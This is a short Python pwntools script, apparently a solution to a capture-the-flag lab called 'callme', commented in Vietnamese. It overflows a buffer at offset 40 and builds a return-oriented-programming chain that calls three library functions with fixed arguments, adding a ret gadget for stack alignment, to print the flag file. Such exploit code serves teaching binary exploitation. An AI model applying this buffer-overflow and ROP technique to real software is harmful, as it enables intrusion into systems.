#!/usr/bin/env python3
# Lab 6.4 callme: goi callme_one/two/three dung thu tu, moi lan set rdi/rsi/rdx.
from pwn import *

context.binary = elf = ELF('./callme')
context.log_level = 'info'
io = process('./callme')

offset = 40
args = [0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d]
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]    # can alignment cho system() goi trong callme_three
for f in ['callme_one', 'callme_two', 'callme_three']:
    rop.call(f, args)            # pwntools tu xep gadget pop rdi/rsi/rdx + goi ham
log.info('\n' + rop.dump())

# them 1 'ret' truoc chain: callme_three goi system("/bin/cat flag.txt"), lenh
# movaps trong system doi rsp boi so 16, lech 8 byte la SIGSEGV -> chen ret cho tron.
payload = flat(b'A' * offset, ret, rop.chain())
io.sendafter(b'>', payload)
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'FLAG{' in out, 'FAIL: khong doc duoc flag'
log.success('callme OK: da in flag')